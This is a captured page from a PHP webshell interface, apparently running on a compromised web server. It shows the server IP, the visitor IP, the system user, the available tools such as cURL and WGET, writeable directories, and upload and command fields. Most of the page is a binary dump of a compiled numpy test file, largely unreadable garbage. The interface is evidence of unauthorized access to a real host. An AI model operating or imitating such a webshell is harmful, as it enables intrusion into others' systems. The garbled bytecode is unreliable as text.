403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/numpy/f2py/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/numpy/f2py/tests/__pycache__/test_parameter.cpython-311.pyc
�

���ce��P�ddlZddlZddlZddlmZGd�dej��ZdS)�N�)�utilc
�@�eZdZejdddd��ejdddd��ejdddd��ejdddd��ejdddd��gZejjd	���Z	ejjd
���Z
ejjd���Zejjd���Zejjd
���Z
ejjd���Zejjd���Zejjd���Zejjd���ZdS)�TestParameters�tests�src�	parameterzconstant_real.f90zconstant_integer.f90zconstant_both.f90zconstant_compound.f90zconstant_non_compound.f90c�H�tjdtj���ddd�}tjt
|jj|��tjdtj���}|j�|��tj|gd���sJ�dS�N���dtype��)�rr)	�np�arange�float32�pytest�raises�
ValueError�module�
foo_single�allclose��self�xs  �A/usr/lib/python3/dist-packages/numpy/f2py/tests/test_parameter.py�test_constant_real_singlez(TestParameters.test_constant_real_single���
�I�a�r�z�*�*�*�3�3�Q�3�/���
�j�$�+�"8�!�<�<�<�
�I�a�r�z�*�*�*������q�!�!�!��{�1�3�3�3�4�4�4�4�4�4�4�c�H�tjdtj���ddd�}tjt
|jj|��tjdtj���}|j�|��tj|gd���sJ�dSr)	rr�float64rrrr�
foo_doublerrs  r�test_constant_real_doublez(TestParameters.test_constant_real_doubler r!c�H�tjdtj���ddd�}tjt
|jj|��tjdtj���}|j�|��tj|gd���sJ�dS)Nrr
rr)�
rr)	rr�int32rrrr�foo_compound_intrrs  r�test_constant_compound_intz)TestParameters.test_constant_compound_int)s���
�I�a�r�x�(�(�(���1��-���
�j�$�+�">��B�B�B�
�I�a�r�x�(�(�(����$�$�Q�'�'�'��{�1�3�3�3�4�4�4�4�4�4�4r!c��tjdtj���}|j�|��tj|gd���sJ�dS)N�r
)�rrr)rrr(r�foo_non_compound_intrrs  r�test_constant_non_compound_intz-TestParameters.test_constant_non_compound_int4sU��
�I�a�r�x�(�(�(����(�(��+�+�+��{�1�:�:�:�;�;�;�;�;�;�;r!c�H�tjdtj���ddd�}tjt
|jj|��tjdtj���}|j�|��tj|gd���sJ�dSr)	rrr(rrrr�foo_intrrs  r�test_constant_integer_intz(TestParameters.test_constant_integer_int;s���
�I�a�r�x�(�(�(���1��-���
�j�$�+�"5�q�9�9�9�
�I�a�r�x�(�(�(������A�����{�1�3�3�3�4�4�4�4�4�4�4r!c�H�tjdtj���ddd�}tjt
|jj|��tjdtj���}|j�|��tj|gd���sJ�dSr)	rr�int64rrrr�foo_longrrs  r�test_constant_integer_longz)TestParameters.test_constant_integer_longFs���
�I�a�r�x�(�(�(���1��-���
�j�$�+�"6��:�:�:�
�I�a�r�x�(�(�(������Q�����{�1�3�3�3�4�4�4�4�4�4�4r!c�H�tjdtj���ddd�}tjt
|jj|��tjdtj���}|j�|��tj|gd���sJ�dS�Nrr
rr)�rr)	rrr#rrrr�foorrs  r�test_constant_bothz!TestParameters.test_constant_bothQs���
�I�a�r�z�*�*�*�3�3�Q�3�/���
�j�$�+�/�1�5�5�5�
�I�a�r�z�*�*�*�����������{�1�G�G�G�H�H�H�H�H�H�Hr!c�H�tjdtj���ddd�}tjt
|jj|��tjdtj���}|j�|��tj|gd���sJ�dSr8)	rrr#rrrr�foo_norrs  r�test_constant_nozTestParameters.test_constant_no\s���
�I�a�r�z�*�*�*�3�3�Q�3�/���
�j�$�+�"4�a�8�8�8�
�I�a�r�z�*�*�*������1�����{�1�G�G�G�H�H�H�H�H�H�Hr!c�H�tjdtj���ddd�}tjt
|jj|��tjdtj���}|j�|��tj|gd���sJ�dSr8)	rrr#rrrr�foo_sumrrs  r�test_constant_sumz TestParameters.test_constant_sumgs���
�I�a�r�z�*�*�*�3�3�Q�3�/���
�j�$�+�"5�q�9�9�9�
�I�a�r�z�*�*�*������A�����{�1�G�G�G�H�H�H�H�H�H�Hr!N)�__name__�
__module__�__qualname__r�getpath�sourcesr�mark�slowrr%r*r/r2r6r;r>rA�r!rrr	s�������	���W�e�[�2E�F�F����W�e�[�2H�I�I����W�e�[�2E�F�F����W�e�[�2I�J�J����W�e�[�2M�N�N��G��[��5�5���5��[��5�5���5��[��5�5���5��[��<�<���<��[��5�5���5��[��5�5���5��[��I�I���I��[��I�I���I��[��I�I���I�I�Ir!r)�osr�numpyr�r�F2PyTestrrIr!r�<module>rNs��	�	�	�	�
�
�
�
�����������gI�gI�gI�gI�gI�T�]�gI�gI�gI�gI�gIr!

Youez - 2016 - github.com/yon3zu
LinuXploit